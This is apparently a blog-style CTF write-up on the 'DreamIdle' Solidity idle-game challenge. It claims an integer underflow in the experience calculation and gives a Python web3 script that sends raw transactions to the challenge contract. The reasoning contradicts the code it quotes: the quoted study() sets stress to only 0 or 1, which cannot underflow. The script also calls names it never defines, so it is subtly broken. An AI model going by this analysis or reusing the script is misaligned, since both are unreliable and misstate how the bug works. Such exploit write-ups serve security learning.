Hunting for Integer Overflows in Smart Contracts

I recently came across an interesting blockchain CTF challenge called DreamIdle. It's an idle game where you perform actions like feeding, studying, and sleeping to level up your character. The goal is to reach level 2 and solve the challenge. Let me walk you through how I found and exploited the vulnerability.

Analysis

First, let's look at the game's core structure. The contract defines four possible actions:

enum GameAction {
    Feed,
    Wash,
    Study,
    Sleep
}

struct GameInfo {
    uint256 actionGuage;
    bool actionEnable; // Feed?
    bool initGame;
    GameAction curAction;
}

Each action has different base experience values, which are calculated in the calculateActionExp function:

function calculateActionExp(uint256 _userLevel, GameAction _action, uint256 _stress)
    public
    view
    returns (uint256)
{
    uint256 _level = _getLevelExpCap(_userLevel);
    uint256 _actionExp;
    
    if (_action == GameAction.Feed) {
        _actionExp = _level * (5 - _stress) / 10000;
    } else if (_action == GameAction.Wash) {
        _actionExp = _level * (10 - _stress) / 10000;
    } else if (_action == GameAction.Study) {
        _actionExp = _level * (20 - _stress) / 10000;
    } else if (_action == GameAction.Sleep) {
        _actionExp = _level * (30 - _stress) / 10000;
    }
    // ...
}

I noticed something interesting in the study action's stress handling:

function study(uint256 _gameId) external actionTotalValidation(_gameId) {
    _isStress(_gameId);
    UserInfo storage user = users[msg.sender];
    GameInfo storage game = user.games[_gameId];
    uint256 _userLevel = user.level[_gameId];

    require(_isActionEnable(0), "Feed action is not done");

    game.actionGuage -= 1;
    uint256 stress = game.curAction == GameAction.Study ? 1 : 0;
    user.exp[_gameId] += calculateActionExp(_userLevel, GameAction.Study, stress);
    game.curAction = GameAction.Study;
}

The vulnerability becomes clear when you look at how stress is handled. Each study action increases stress, but there's no upper bound check. This means we can make stress larger than the base multiplier (20 for study), causing an underflow in the calculation.

Digging Deeper

Let's look at the stress validation:

function _isStress(uint256 _gameId) internal view {
    require(users[msg.sender].games[_gameId].actionGuage > 1, "You are stressed, please sleep");
}

The contract only checks if the action gauge is greater than 1, but doesn't limit how many times you can study in sequence. This allows us to accumulate stress through repeated study actions.

The key vulnerability is in the experience calculation:

_actionExp = _level * (20 - _stress) / 10000;

When stress exceeds 20, (20 - _stress) becomes negative, but since we're using uint256, it wraps around to a very large number due to underflow. This gives us a massive experience boost.

Crafting the Exploit

The exploit needed two parts:

1. Accumulate enough stress to trigger the underflow
2. Use this to gain massive experience points

Here's the Python script I wrote to automate this:

from web3 import Web3
import time

w3 = Web3(Web3.HTTPProvider("http://host6.dreamhack.games:22237/cd5c806e8a7e/rpc"))
prikey = '0x3a2c14bc8b0a2fecad0093b1df71a5e7caf2d082b243b429550a7325a6b76a3f'
challenge_addr = "0xb5f33218b54489b6Cf362Be88C40F54AcaA13642"

# Function selectors for raw transactions
INIT_GAME_0 = "c869ce640000000000000000000000000000000000000000000000000000000000000000"
INIT_GAME_1 = "c869ce640000000000000000000000000000000000000000000000000000000000000001"
SLEEP_1 = "fa9d87130000000000000000000000000000000000000000000000000000000000000001"
FEED_0 = "f59dfdfb0000000000000000000000000000000000000000000000000000000000000000"
FEED_1 = "f59dfdfb0000000000000000000000000000000000000000000000000000000000000001"
STUDY_1 = "202457340000000000000000000000000000000000000000000000000000000000000001"
LEVELUP_1 = "0ce90ec20000000000000000000000000000000000000000000000000000000000000001"
SOLVE_1 = "b8b8d35a0000000000000000000000000000000000000000000000000000000000000001"

def send_tx(value, data):
    global my_nonce, chainId, gasPrice, myAddr
    func_call = {
        "from": myAddr,
        "to": challenge_addr,
        "nonce": my_nonce,
        "gasPrice": gasPrice,
        "value": value,
        "chainId": chainId,
        "data": data,
        "gas": 30000000
    }
    my_nonce = my_nonce + 1
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    w3.eth.send_raw_transaction(signed_tx.rawTransaction)

# Initialize games
send_tx(0, initGame_0)
send_tx(0, feed_0)
send_tx(0, initGame_1)

# First round of actions
for i in range(150):
    send_tx(0, feed_1)
    send_tx(0, study_1)
    send_tx(0, study_1)
    send_tx(0, study_1)
    send_tx(0, sleep_1)
    print(i)

send_tx(0, levelup_1)
print("level_up")

# Second round
for i in range(150):
    send_tx(0, feed_1)
    send_tx(0, study_1)
    send_tx(0, study_1)
    send_tx(0, study_1)
    send_tx(0, sleep_1)
    print(i)

send_tx(0, levelup_1)
send_tx(10**18, solve_1)

The Attack Flow

The exploit works by:

1. Initializing two game instances (0 and 1)
2. In game 1, repeatedly:
   • Feed to enable actions
   • Study 3 times to build up stress
   • Sleep to reset stress
3. After enough iterations, the accumulated stress causes the experience calculation to underflow
4. This gives us a massive experience boost, allowing us to level up quickly
5. Finally, we call solve with 1 ETH to get the flag

Lessons Learned

This challenge was a great example of how integer overflows can be exploited in smart contracts. A few key takeaways:

1. Always check for integer overflow/underflow in arithmetic operations
2. Use SafeMath or similar libraries for critical calculations
3. Implement proper bounds checking for game mechanics
4. Consider the implications of negative numbers in unsigned integer operations

The fix would be simple - add a check to ensure stress never exceeds the base experience multiplier, or use SafeMath for the calculations. But as it stands, this vulnerability shows how a small oversight in arithmetic can lead to game-breaking exploits.

References

• OpenZeppelin SafeMath
• Solidity Integer Overflow/Underflow